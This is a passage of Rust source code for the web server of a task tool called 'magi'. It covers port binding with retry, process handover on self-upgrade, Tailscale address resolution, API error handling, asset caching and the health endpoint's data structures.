1806    }
1807}
1808
1809/// Bind the port, waiting briefly for a predecessor to let go of it.
1810///
1811/// A restart hands the address from one process to the next, and the old one
1812/// holds its listener until it unwinds. A single `bind` can lose that race,
1813/// and for a restart triggered from a phone that means the deck never comes
1814/// back with no terminal around to say why.
1815///
1816/// Bounded, and only for the one error a wait can fix: anything else fails at
1817/// once, because retrying it would turn a clear message into a silence.
1818async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1819    const WINDOW: Duration = Duration::from_secs(10);
1820    const GAP: Duration = Duration::from_millis(250);
1821
1822    let deadline = std::time::Instant::now() + WINDOW;
1823    let mut said = false;
1824    loop {
1825        match tokio::net::TcpListener::bind(socket).await {
1826            Ok(listener) => return Ok(listener),
1827            Err(e)
1828                if e.kind() == std::io::ErrorKind::AddrInUse
1829                    && std::time::Instant::now() < deadline =>
1830            {
1831                if !said {
1832                    said = true;
1833                    tracing::info!(
1834                        "{socket} is still held - waiting up to {}s for it, \
1835                         which is what a restart looks like from here",
1836                        WINDOW.as_secs()
1837                    );
1838                }
1839                tokio::time::sleep(GAP).await;
1840            }
1841            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1842        }
1843    }
1844}
1845
1846/// Signalled when an upgrade has replaced the binary and the successor should
1847/// take this address over. One per process: there is one address to hand on.
1848static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1849
1850/// Set to `1` on the successor when the loop was running at handover.
1851const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1852/// Keep a dynamically assigned listener address stable across replacement.
1853const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1854
1855/// Whether the environment value asks for the loop to be resumed.
1856fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1857    value.is_some_and(|v| v == "1")
1858}
1859
1860/// Start this binary again with the same arguments, detached.
1861///
1862/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1863/// so the address is already free when the successor binds it. The first
1864/// attempt at this spawned the successor two hundred milliseconds before
1865/// exiting instead, and the released binary - which has no bind retry - died
1866/// on "address already in use" with its stdio sent to null, so the deck
1867/// simply never came back.
1868///
1869/// Detached and without inherited stdio: the successor has to outlive this
1870/// process, and must not hold open a pipe a terminal is waiting on.
1871///
1872/// The scheduler is restarted separately; execution workers are not awaited.
1873///
1874/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1875/// than sent to null: a supervisor's redirection only ever held the first
1876/// generation's descriptors, so every later generation logged nowhere. The
1877/// pid of the child is returned so the handover log can name it.
1878fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1879    let args: Vec<String> = std::env::args().skip(1).collect();
1880    updater::log_step(
1881        home,
1882        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1883    );
1884    let log_path = home.join(WEB_LOG);
1885    let open_log = || {
1886        std::fs::create_dir_all(home)?;
1887        std::fs::OpenOptions::new()
1888            .create(true)
1889            .append(true)
1890            .open(&log_path)
1891    };
1892    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1893        Ok(pair) => (
1894            std::process::Stdio::from(pair.0),
1895            std::process::Stdio::from(pair.1),
1896        ),
1897        Err(e) => {
1898            updater::log_warn(
1899                home,
1900                &format!(
1901                    "could not open {}: {e}; the successor logs nowhere",
1902                    log_path.display()
1903                ),
1904            );
1905            (std::process::Stdio::null(), std::process::Stdio::null())
1906        }
1907    };
1908
1909    let mut cmd = std::process::Command::new(exe);
1910    cmd.env_remove(RESUME_LOOP_ENV);
1911    cmd.env(RESTART_PORT_ENV, port.to_string());
1912    cmd.args(&args)
1913        .stdin(std::process::Stdio::null())
1914        .stdout(out)
1915        .stderr(err);
1916    #[cfg(windows)]
1917    {
1918        use std::os::windows::process::CommandExt as _;
1919        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1920        // and Ctrl-C in the old terminal must not reach the successor.
1921        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1922    }
1923    let child = cmd.spawn().context("start the successor")?;
1924    Ok(child.id())
1925}
1926
1927/// File under `<home>` the successor's output is appended to.
1928const WEB_LOG: &str = "web.log";
1929
1930/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1931/// stored by an earlier `notify_one` is consumed by the first poll, so the
1932/// signal is never missed and never wakes a second time.
1933async fn wait_for_handover(signal: &Notify) {
1934    signal.notified().await;
1935}
1936
1937/// Serve the UI independently from scheduler and execution workers.
1938/// A restart releases its listener before starting the successor.
1939pub async fn serve(opts: Opts) -> Result<()> {
1940    // Capture before self-replacement: current_exe may later name a removed
1941    // image on Linux or the renamed old image on Windows.
1942    crate::worker::remember_current_executable()?;
1943    let executable = std::env::current_exe().context("find the installed web executable")?;
1944    let (addr, warning) = resolve_bind(&opts.bind);
1945    if let Some(warning) = warning {
1946        tracing::warn!("{warning}");
1947    }
1948
1949    // Process-global, and therefore set exactly once, here: the report route
1950    // must never emit escape sequences into a browser, and toggling the flag
1951    // per request would race with a concurrent request rendering its own
1952    // report. Startup is the only moment at which no request can observe the
1953    // change. Nothing in the server turns colour back on.
1954    report::set_color(false);
1955
1956    let repo = normalize_default_repo(opts.repo).await;
1957    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1958    // The listener and periodic checker share one upgrade gate and state.
1959    let home = ui.home.clone();
1960    let admissions = Arc::clone(&ui.admissions);
1961    // Settles a progress record a predecessor left non-terminal - either this
1962    // *is* the successor `spawn_successor` started, or the previous process
1963    // died mid-handover. Before the router starts answering, so the very
1964    // first `/api/health` a phone gets from this process already reflects it.
1965    updater::reconcile_after_restart(&home);
1966    updater::log_step(
1967        &home,
1968        &format!(
1969            "web process started (version {}); handover log {}, successor output {}",
1970            env!("CARGO_PKG_VERSION"),
1971            updater::log_path(&home).display(),
1972            home.join(WEB_LOG).display()
1973        ),
1974    );
1975    updater::spawn_watchdog(home.clone());
1976    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1977    // `spawn_update_check` does at startup only ever runs once: after that,
1978    // `/api/health`'s `update` field - and the phone's "Update & restart"
1979    // button, which reads the very same cache - would stay frozen on
1980    // whatever that single check found, no matter how many releases ship
1981    // afterwards. The periodic checker below keeps it current and is
1982    // cancelled when the listener finishes.
1983    let port = if opts.port == 0 {
1984        std::env::var(RESTART_PORT_ENV)
1985            .ok()
1986            .and_then(|value| value.parse::<u16>().ok())
1987            .filter(|port| *port != 0)
1988            .unwrap_or(0)
1989    } else {
1990        opts.port
1991    };
1992    let socket = SocketAddr::new(addr, port);
1993    let listener = bind_waiting(socket).await?;
1994    let bound = listener.local_addr().context("read bound web address")?;
1995    let port = bound.port();
1996    let url = format!("http://{bound}");
1997    tracing::info!(
1998        "magi web UI on {url} - there is no authentication, so anyone who can \
1999         reach this address can file and hold tasks: the tailnet is the \
2000         security boundary"
2001    );
2002    // A legacy predecessor may request first-migration scheduler startup.
2003    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2004        ui.start_detached_loop()
2005            .await
2006            .map_err(|e| anyhow::anyhow!(e.message))?;
2007    }
2008    if opts.open {
2009        // The URL alone on stdout, for a caller that wants to open it. magi
2010        // does not spawn a browser: on the machine this usually runs on there
2011        // is no display, and a failed launch would be the only output.
2012        println!("{url}");
2013    }
2014
2015    // On its own task, so nothing this function awaits can stop the address
2016    // being answered. `hand_over` is where it is given up.
2017    let recheck_ui = ui.clone();
2018    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2019    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2020    let interrupted = async {
2021        if tokio::signal::ctrl_c().await.is_err() {
2022            // No handler on this platform, so there is no signal to act on.
2023            // Never resolving is the safe answer: a failed registration must
2024            // not masquerade as the operator asking for a shutdown and take
2025            // the UI down on startup.
2026            std::future::pending::<()>().await;
2027        }
2028    };
2029    let handover = wait_for_handover(&HANDOVER);
2030    let outcome = tokio::select! {
2031        joined = &mut served => match joined {
2032            Ok(outcome) => outcome.context("serve the web UI"),
2033            Err(e) => Err(e).context("the task serving the web UI ended"),
2034        },
2035        () = interrupted => {
2036            recheck.abort();
2037            tracing::info!("shutting down the web UI; detached workers continue");
2038            close_admissions(&admissions).await;
2039            served.abort();
2040            let _ = served.await;
2041            Ok(())
2042        }
2043        () = handover => {
2044            recheck.abort();
2045            let successor_home = home.clone();
2046            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2047        }
2048    };
2049    recheck.abort();
2050    let _ = recheck.await;
2051    updater::log_step(
2052        &home,
2053        &match &outcome {
2054            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2055            Err(e) => format!("serve: returning an error: {e:#}"),
2056        },
2057    );
2058    outcome
2059}
2060
2061/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2062/// process's own working directory is not a git checkout at all - the
2063/// checkout [`repos::discover_verified`] finds instead.
2064///
2065/// Only the unmodified default is ever replaced: an operator who named a
2066/// directory outright, git checkout or not, gets exactly that directory
2067/// back, and the same story downstream (a talk whose briefing embeds a
2068/// non-git directory, and an agent that has to ask the operator where the
2069/// real repository is) that has always told them so - substituting a guess
2070/// for an explicit answer would be a second, silent opinion about what they
2071/// meant. There is no instruction or task text yet to match against this
2072/// early, so only [`repos::discover_verified`]'s own-repository tier can
2073/// ever settle this - the hint tier never fires here.
2074///
2075/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2076/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2077/// or a git installation that is broken in exactly the way that made the
2078/// original `canonical` check above fail too - so it is re-checked with
2079/// `git::toplevel` before it is ever used in place of the operator's own
2080/// directory.
2081async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2082    if repo != FsPath::new(".") {
2083        return repo;
2084    }
2085    let Ok(canonical) = repo.canonicalize() else {
2086        return repo;
2087    };
2088    if git::toplevel(&canonical).await.is_ok() {
2089        return repo;
2090    }
2091    let Some(home) = dirs::home_dir() else {
2092        return repo;
2093    };
2094    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2095        Some(found) => {
2096            tracing::info!(
2097                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2098                canonical.display(),
2099                found.path.display(),
2100                found.reason,
2101            );
2102            found.path
2103        }
2104        None => repo,
2105    }
2106}
2107
2108/// Close new ingress and finish only transactions publishing durable work.
2109/// The writer waits for owned admission guards, not task or chat turn leases.
2110async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2111    *admissions.write().await = true;
2112}
2113
2114/// Restart only the scheduler and web listener, never their execution workers.
2115/// The old listener must be fully released before the successor is started.
2116async fn hand_over(
2117    home: &FsPath,
2118    admissions: &tokio::sync::RwLock<bool>,
2119    served: tokio::task::JoinHandle<std::io::Result<()>>,
2120    successor: impl FnOnce() -> Result<u32>,
2121) -> Result<()> {
2122    close_admissions(admissions).await;
2123    if let Some(mut progress) = updater::read_progress(home) {
2124        progress.advance(updater::Stage::Restarting);
2125        progress.detail =
2126            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2127        updater::write_progress_logged(home, &progress);
2128    }
2129    updater::log_step(
2130        home,
2131        "restarting scheduler without parking execution workers",
2132    );
2133    let scheduler = daemon::restart_detached(home).await;
2134    if let Err(error) = &scheduler {
2135        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2136        updater::log_warn(
2137            home,
2138            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2139        );
2140    }
2141    updater::log_step(home, "releasing the web listener");
2142    served.abort();
2143    let _ = served.await;
2144    updater::log_step(home, "web listener released; starting the successor");
2145    match successor() {
2146        Ok(pid) => {
2147            updater::log_step(home, &format!("successor started, pid {pid}"));
2148            scheduler
2149        }
2150        Err(e) => {
2151            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2152            Err(e)
2153        }
2154    }
2155}
2156
2157/// Resolve `--bind` to an address, plus a warning when the answer is not what
2158/// the operator asked for.
2159///
2160/// Split out from [`serve`] because the interesting half - deciding whether
2161/// Tailscale gave us something usable - is testable without opening a socket.
2162pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2163    match bind {
2164        Bind::Addr(addr) => (*addr, None),
2165        Bind::Auto => match tailscale_ip() {
2166            Ok(ip) => (IpAddr::V4(ip), None),
2167            Err(why) => (
2168                IpAddr::V4(Ipv4Addr::LOCALHOST),
2169                Some(format!(
2170                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2171                     local-only and a phone cannot reach it; start Tailscale \
2172                     or pass --bind <addr>"
2173                )),
2174            ),
2175        },
2176    }
2177}
2178
2179/// This machine's Tailscale IPv4, or why there is not one.
2180///
2181/// `tailscale ip -4` is a local call against the running daemon and returns in
2182/// milliseconds, so it is fine to make it synchronously before the server
2183/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2184/// CGNAT block Tailscale assigns from, and anything else on that output would
2185/// be a different tool answering.
2186fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2187    let out = std::process::Command::new("tailscale")
2188        .args(["ip", "-4"])
2189        .quiet()
2190        .output()
2191        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2192    if !out.status.success() {
2193        let why = String::from_utf8_lossy(&out.stderr);
2194        let why = why.trim();
2195        return Err(format!(
2196            "`tailscale ip -4` failed ({}){}",
2197            out.status,
2198            if why.is_empty() {
2199                String::new()
2200            } else {
2201                format!(": {why}")
2202            }
2203        ));
2204    }
2205    String::from_utf8_lossy(&out.stdout)
2206        .lines()
2207        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2208        .find(is_tailnet)
2209        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2210}
2211
2212/// Is this address in the CGNAT block Tailscale hands out from?
2213fn is_tailnet(ip: &Ipv4Addr) -> bool {
2214    let o = ip.octets();
2215    o[0] == 100 && (64..=127).contains(&o[1])
2216}
2217
2218/// What every handler returns. Spelled out because `Result` in this crate is
2219/// `anyhow::Result`, and a handler's error is a status code as much as a
2220/// message.
2221type ApiResult<T> = std::result::Result<T, ApiError>;
2222
2223/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2224#[derive(Debug)]
2225struct ApiError {
2226    status: StatusCode,
2227    message: String,
2228    text_reason: Option<crate::question_delivery::UnavailableReason>,
2229}
2230
2231impl ApiError {
2232    /// The client asked for something malformed.
2233    fn bad_request(message: impl Into<String>) -> Self {
2234        Self {
2235            text_reason: None,
2236            status: StatusCode::BAD_REQUEST,
2237            message: message.into(),
2238        }
2239    }
2240
2241    /// No such run or task.
2242    fn not_found(message: impl Into<String>) -> Self {
2243        Self {
2244            text_reason: None,
2245            status: StatusCode::NOT_FOUND,
2246            message: message.into(),
2247        }
2248    }
2249
2250    /// Someone else owns the thing the client wants to change.
2251    /// Re-badge an error whose default mapping is wrong for this route.
2252    fn with_status(mut self, status: StatusCode) -> Self {
2253        self.status = status;
2254        self
2255    }
2256
2257    /// A rules violation from a domain type, reported as the caller's fault.
2258    /// `Question::answer` rejects an unoffered choice, and that is a bad
2259    /// request, not a server error.
2260    fn bad_request_from(e: anyhow::Error) -> Self {
2261        Self::bad_request(format!("{e:#}"))
2262    }
2263
2264    fn conflict(message: impl Into<String>) -> Self {
2265        Self {
2266            text_reason: None,
2267            status: StatusCode::CONFLICT,
2268            message: message.into(),
2269        }
2270    }
2271
2272    /// Our fault, or the disk's.
2273    fn internal(message: impl Into<String>) -> Self {
2274        Self {
2275            text_reason: None,
2276            status: StatusCode::INTERNAL_SERVER_ERROR,
2277            message: message.into(),
2278        }
2279    }
2280}
2281
2282impl From<anyhow::Error> for ApiError {
2283    /// Errors from `queue` and `run` carry their context chain, and the whole
2284    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2285    /// value at line 3" is a message an operator can act on, and there is no
2286    /// secret in a path on a single-user tailnet.
2287    fn from(e: anyhow::Error) -> Self {
2288        Self::internal(format!("{e:#}"))
2289    }
2290}
2291
2292impl IntoResponse for ApiError {
2293    fn into_response(self) -> Response {
2294        let mut body = serde_json::json!({ "error": self.message });
2295        if let Some(reason) = self.text_reason {
2296            body["code"] = serde_json::json!("question_text_unavailable");
2297            body["reason"] = serde_json::json!(reason);
2298        }
2299        (self.status, Json(body)).into_response()
2300    }
2301}
2302
2303/// Run a handler's filesystem work off the executor.
2304///
2305/// Every route that touches the disk goes through here rather than each one
2306/// arguing about whether its own read is small enough. Uniform because the
2307/// expensive case is not rare: `run.json` for a finished competition holds
2308/// every judgement, deliberation turn and review round, so listing a few
2309/// hundred runs is megabytes of parsing, and the executor threads doing it are
2310/// the same ones serving the change stream of every other connected phone.
2311async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2312where
2313    T: Send + 'static,
2314{
2315    #[cfg(test)]
2316    let job = request_cost::carry(job);
2317    match tokio::task::spawn_blocking(job).await {
2318        Ok(result) => result,
2319        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2320    }
2321}
2322
2323/// Bulk readers have a bounded, separate execution lane. A cold health
2324/// index or multiple slow list clients cannot occupy the pool serving detail.
2325async fn bulk_blocking<T>(
2326    slots: Arc<tokio::sync::Semaphore>,
2327    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2328) -> ApiResult<T>
2329where
2330    T: Send + 'static,
2331{
2332    let permit = slots
2333        .acquire_owned()
2334        .await
2335        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2336    let (send, receive) = tokio::sync::oneshot::channel();
2337    #[cfg(test)]
2338    let job = request_cost::carry(job);
2339    let runtime = tokio::runtime::Handle::current();
2340    std::thread::Builder::new()
2341        .name("web-bulk".into())
2342        .spawn(move || {
2343            let _permit = permit;
2344            // Capacity observations schedule their independent blocking job.
2345            let _runtime = runtime.enter();
2346            let _ = send.send(job());
2347        })
2348        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2349    receive
2350        .await
2351        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2352}
2353
2354/// Cache policy for the three compiled-in front-end files.
2355///
2356/// The whole interface is `include_str!`ed into the binary, so its content
2357/// changes only when the binary does - and a phone that keeps a copy is
2358/// welcome to, right up until the deck is replaced. Without a single cache
2359/// header, browsers were free to invent their own policy, and one did:
2360/// yukimemi's phone went on showing "Candidates must be folded before
2361/// deleting. Run `magi fold` first." - a sentence deleted two releases
2362/// earlier - from a run detail served by a deck that no longer contained it.
2363/// The delete button he was told about was right there, and unreachable.
2364///
2365/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2366/// every time, the answer is a 304 costing one small round trip while the
2367/// deck is unchanged, and the moment it is replaced the tag differs and the
2368/// new interface arrives. Correctness over bytes - this is one file of a few
2369/// tens of kilobytes on a tailnet, and being a version behind is not a
2370/// cosmetic problem when the difference is whether a button exists.
2371const ASSET_CACHE: &str = "no-cache, must-revalidate";
2372
2373/// `ETag` for the compiled-in assets, distinct per build.
2374///
2375/// The version alone would leave a locally built deck - `cargo install
2376/// --path .` twice at the same version, which is the normal way to iterate -
2377/// serving a stale tag for changed bytes. The build timestamp is what makes
2378/// two builds of `0.3.0` differ.
2379fn asset_etag() -> &'static str {
2380    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2381        format!(
2382            "\"{}-{}\"",
2383            env!("CARGO_PKG_VERSION"),
2384            // Length is a cheap, deterministic stand-in for a hash: the
2385            // three files are compiled in together, so any edit to any of
2386            // them almost certainly changes the total, and a rebuild is what
2387            // this needs to track rather than every possible byte pattern.
2388            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2389        )
2390    });
2391    &TAG
2392}
2393
2394/// Headers for a compiled-in asset of `mime`.
2395fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2396    [
2397        (header::CONTENT_TYPE, mime),
2398        (header::CACHE_CONTROL, ASSET_CACHE),
2399        (header::ETAG, asset_etag()),
2400    ]
2401}
2402
2403/// Serve a compiled-in asset, answering `304` when the client already has it.
2404///
2405/// axum does not compare `If-None-Match` for us, and a header the server sets
2406/// but never honours is worse than none: the phone revalidates on every load
2407/// and is handed the whole file back each time. Doing the comparison is what
2408/// makes `must-revalidate` cost one small round trip rather than the
2409/// interface.
2410fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2411    let tag = asset_etag();
2412    let known = headers
2413        .get(header::IF_NONE_MATCH)
2414        .and_then(|v| v.to_str().ok())
2415        // A revalidating client may send several, and a proxy may weaken the
2416        // tag to `W/"..."`; matching on containment covers both without
2417        // parsing the grammar.
2418        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2419    if known {
2420        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2421    }
2422    (asset_headers(mime), body).into_response()
2423}
2424
2425async fn index(headers: header::HeaderMap) -> Response {
2426    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2427}
2428
2429async fn app_css(headers: header::HeaderMap) -> Response {
2430    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2431}
2432
2433async fn app_js(headers: header::HeaderMap) -> Response {
2434    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2435}
2436
2437/// What `/api/health` answers.
2438#[derive(Debug, Serialize)]
2439struct HealthView {
2440    version: &'static str,
2441    home: String,
2442    queue_rev: u64,
2443    runs_rev: u64,
2444    /// The same revisions [`events`] streams for the question and talk
2445    /// stores.
2446    ///
2447    /// Here because this route is what the front end falls back to when the
2448    /// change stream is not up - it re-polls health on a timer and on wake, and
2449    /// takes the revisions from the answer. Without these the fallback
2450    /// compares `undefined` against `undefined` for both stores, decides
2451    /// nothing moved, and a phone with a dead stream never learns that a
2452    /// question was asked or that a talk took a turn. `queue_rev` and
2453    /// `runs_rev` above have always been here for exactly this reason; the rule
2454    /// is that every revision the stream carries, this route carries too.
2455    questions_rev: u64,
2456    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2457    talks_rev: u64,
2458    /// See [`HealthView::questions_rev`]. The notification centre's store.
2459    notifications_rev: u64,
2460    /// Notifications nobody has read yet: the bell's badge before
2461    /// `/api/notifications` has answered.
2462    notifications_unread: usize,
2463    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2464    /// is not on disk anywhere, so a phone with no change stream has no other
2465    /// way to notice that the loop it is waiting on was started from another
2466    /// device.
2467    loop_rev: u64,
2468    /// Runs on disk whose state this build cannot parse - almost always a
2469    /// schema bump, occasionally a run killed mid-write.
2470    ///
2471    /// Reported because the list silently skips them, and "no competitions
2472    /// yet" is a lie when six of them are sitting in the runs directory. The
2473    /// terminal deck learned the same lesson: a run that fails to parse must
2474    /// not disappear from the count.
2475    runs_unreadable: usize,
2476    /// The disk, and what the runs and their worktrees occupy on it.
2477    ///
2478    /// This is the incident the janitor exists for: magi alone put 30 GB into
2479    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2480    /// is exactly where the operator learns "the disk is the constraint" -
2481    /// the diagnosis that a run is being held for want of space has to be
2482    /// checkable on the same screen.
2483    disk: Option<serde_json::Value>,
2484    /// Questions nobody has answered yet, including ones an owner talked
2485    /// back on and is now waiting for the agent's reply to. A round trip
2486    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2487    /// while the ball is in the agent's court - see
2488    /// [`crate::ask::Questions::count_open`].
2489    questions_open: usize,
2490    /// Of those, how many actually need the owner right now: open, and not
2491    /// [`crate::ask::Question::waiting_on_agent`].
2492    ///
2493    /// The one number that means "nothing will happen until a human acts" -
2494    /// a parked run consumes nothing and progresses never - and the count the
2495    /// ask bar, the nav badge and the document title fall back to before
2496    /// `/api/questions` has answered, so those notification channels clear
2497    /// the instant the owner asks back and reappear the instant the agent
2498    /// replies, instead of sitting lit for however long the agent thinks.
2499    questions_needs_owner: usize,
2500    daemon: DaemonView,
2501    /// The independently controllable scheduler, as `/api/loop` reports it.
2502    ///
2503    /// Here so a phone that has just woken needs one request to know whether
2504    /// anything is going to happen at all: `daemon` says a loop is alive
2505    /// somewhere, and this says whether it is one this UI can stop.
2506    #[serde(rename = "loop")]
2507    looping: LoopView,
2508    /// Whether a release newer than this build is known, and which.
2509    ///
2510    /// From [`updater::Checker::cached_update`] - the same throttled state the
2511    /// CLI's `notify` mode banners from - never a live check: this route is
2512    /// polled every few seconds, and a live check on each poll would spend
2513    /// GitHub's rate limit before the operator finished reading the strip.
2514    update: UpdateView,
2515    /// The self-upgrade this deck last set in motion, or `null` before the
2516    /// first one. Read off disk, so the successor can report what its
2517    /// predecessor started.
2518    upgrade: Option<UpgradeProgressView>,
2519    /// Detached jobs survive replacement of this web process. Each reports
2520    /// its own immutable executable generation rather than the web version.
2521    jobs: Vec<WorkerView>,
2522    upgrade_request_error: Option<UpgradeRequestFailure>,
2523}
2524
2525/// Public execution metadata only. Job payloads contain private configuration
2526/// and must never be returned by the health endpoint.
2527#[derive(Debug, Serialize)]
2528struct WorkerView {
2529    id: String,
2530    kind: String,
2531    key: String,
2532    pid: Option<u32>,
2533    status: crate::worker::Status,
2534    generation: String,
2535    version: Option<String>,
2536    queue_owned: bool,
2537}
2538
2539impl From<crate::worker::Job> for WorkerView {
2540    fn from(job: crate::worker::Job) -> Self {
2541        let queue_owned = job.kind == "task"
2542            && job
2543                .payload
2544                .get("standalone")
2545                .and_then(serde_json::Value::as_bool)
2546                != Some(true);
2547        Self {
2548            id: job.id,
2549            kind: job.kind,
2550            key: job.key,
2551            pid: job.pid,
2552            status: job.status,
2553            generation: job.generation,
2554            version: job.version,
2555            queue_owned,
2556        }
2557    }
2558}
2559
2560/// What `/api/health` knows about a release newer than this build.
2561///
2562/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2563/// is already the newest" from "never checked" - both are `None` - and the
2564/// phone needs to tell those apart to decide whether the deck can be trusted
2565/// to have an opinion at all.
2566#[derive(Debug, Clone, Serialize)]
2567struct UpdateView {
2568    /// A newer release is known to exist.
2569    available: bool,
2570    /// Its tag, when `available`.
2571    to: Option<String>,
2572}
2573
2574/// [`updater::Progress`] as `/api/health` reports it.
2575#[derive(Debug, Serialize)]
2576struct UpgradeProgressView {
2577    trigger: updater::UpgradeTrigger,
2578    stage: updater::Stage,
2579    from: String,
2580    to: Option<String>,
2581    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2582    /// the step it is finishing before the address is handed over.
2583    waiting_on: Option<String>,
2584    started_at: Timestamp,
2585    updated_at: Timestamp,
2586    detail: Option<String>,
2587    /// Seconds the stage has outlived its allowance, when it has - see
2588    /// [`updater::stall`]. `null` while the stage is moving normally.
2589    stuck_for_secs: Option<i64>,
2590    /// Which kind of stuck: `never_entered` (hand_over left no record of
2591    /// starting) or `stopped_beating`. `null` when not stuck.
2592    stuck_kind: Option<updater::StallKind>,
2593    /// `hand_over` is alive and waiting on the loop: however long that takes,
2594    /// it is not an overdue upgrade.
2595    handover_alive: bool,
2596}
2597
2598/// Whether [`run_update_recheck`] may act at all this tick.
2599///
2600/// The same two conditions [`updater::Checker::new`] and
2601/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2602/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2603/// GitHub from this process" - on a button press or on a timer alike.
2604fn should_spawn_recheck(cfg: &Update) -> bool {
2605    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2606}
2607
2608/// Whether this tick should actually reach the network, once checking itself
2609/// is allowed.
2610///
2611/// An upgrade already in flight must not be raced by a check that discovers
2612/// a *newer* release while one is still installing - a phone watching
2613/// `/api/health` would see the answer change out from under the upgrade it
2614/// already asked for. Past that, [`updater::Checker::should_check`] is the
2615/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2616/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2617/// polling period, is what keeps this task's network use to at most once per
2618/// `[update] interval` regardless of how often it wakes up.
2619fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2620    if progress.is_some_and(|p| !p.stage.terminal()) {
2621        return false;
2622    }
2623    checker.should_check()
2624}
2625
2626/// How long [`run_update_recheck`] sleeps before its next wake-up.
2627///
2628/// A fraction of the configured `[update] interval` rather than a fixed
2629/// number: a fixed sleep longer than a short custom interval would leave the
2630/// deck waiting on its own wake-up rather than on `should_check`, so an
2631/// operator who set `interval = "1m"` to make the UI catch up quickly would
2632/// not see that take effect until the next restart - exactly the bug this
2633/// task exists to fix, just moved one level down. Scaling with the interval
2634/// keeps the wake-up prompt relative to what was actually configured, while
2635/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2636/// still what caps the network calls themselves at one per interval,
2637/// regardless of how often this fires.
2638fn recheck_poll_period(cfg: &Update) -> Duration {
2639    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2640}
2641
2642#[derive(Debug, PartialEq, Eq)]
2643enum AutoUpgradeDecision {
2644    Skip(&'static str),
2645    Wait,
2646    Trigger,
2647}
2648
2649fn auto_upgrade_decision(
2650    cfg: &Update,
2651    disabled: bool,
2652    in_motion: bool,
2653    busy: bool,
2654    tag: &str,
2655    failed: Option<&str>,
2656) -> AutoUpgradeDecision {
2657    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2658        AutoUpgradeDecision::Skip("disabled")
2659    } else if in_motion {
2660        AutoUpgradeDecision::Skip("upgrade already in progress")
2661    } else if failed == Some(tag) {
2662        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2663    } else if busy {
2664        AutoUpgradeDecision::Wait
2665    } else {
2666        AutoUpgradeDecision::Trigger
2667    }
2668}
2669
